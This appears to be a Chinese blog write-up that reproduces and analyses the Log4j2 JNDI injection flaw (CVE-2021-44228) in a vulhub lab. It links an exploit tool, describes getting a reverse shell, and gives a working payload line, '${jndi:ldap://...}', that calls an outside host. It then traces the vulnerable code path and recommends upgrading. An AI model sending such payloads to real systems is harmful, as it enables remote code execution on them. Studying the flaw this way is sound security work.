【漏洞复现】Apache Log4j2 lookup JNDI注入漏洞(CVE-2021-44228)

Apache Log4j2是一款开源的Java日志框架,使用极其广泛,在其 <2.15 的版本中被爆出存在JNDI注入漏洞,攻击者可通过该漏洞执行任意代码

影响版本

  • ApacheLog4j 2.x <= 2.14.1

漏洞复现

使用vulhub提供的漏洞环境

漏洞触发/日志记录的点:http://10.128.0.12:8983/solr/admin/cores?action=xxx

通过dns外带数据的方式,获取java版本

image-20220616095043973
image-20220619122351894

使用工具完成JNDI服务和恶意class文件的制作:https://github.com/welk1n/JNDI-Injection-Exploit/

尝试反弹shell(需base64编码),启动项目自动开启监听

image-20220619125420068

发送JNDI注入请求

image-20220619125509359

成功获取Shell

image-20220619125524733

漏洞分析

首先在pom中引入核心依赖

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>

以fatal记录为例:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.io.IOException;

public class Main {
    private static final Logger logger = LogManager.getLogger();

    public static void main(String[] args) throws IOException {
        logger.fatal("${jndi:ldap://asd.log.0x4cc.top}");
    }
}

调用栈如下,关键的方法已经圈出

image-20220619161600402

首先是logIfEnabled方法,必须满足isEnabled才会进入后面的处理

image-20220619161716137

跟进发现,判断的核心在于日志等级对应的intLevel值必须<=默认的intLevel值

本环境中Fatal对应的intLevel为100,小于默认的intLevel200(这个可以在配置文件中更改),所以可以进入到后面的方法

默认的WARN、INFO、DEBUG、ALL对应的intLevel大于200,则无法触发该漏洞

image-20220619161848691

接着是MessagePatternConverter#format方法,首先判断了noLookups变量的值,默认为false即允许进行lookup解析,接着判断是否包含$和{字符,包含则进入后续的处理

image-20220619162654986

然后是Interpolator#lookup方法,首先提取出prefix前缀为jndi,接着在strLookupMap中寻找是否存在,找到则调用相应的lookup方法,支持的协议如下

image-20220619162941762
image-20220619163057122

最后是进入JndiLookup#lookup方法,进行JNDI请求,完成注入

漏洞修复

升级到最新版本,截至目前为2.17.2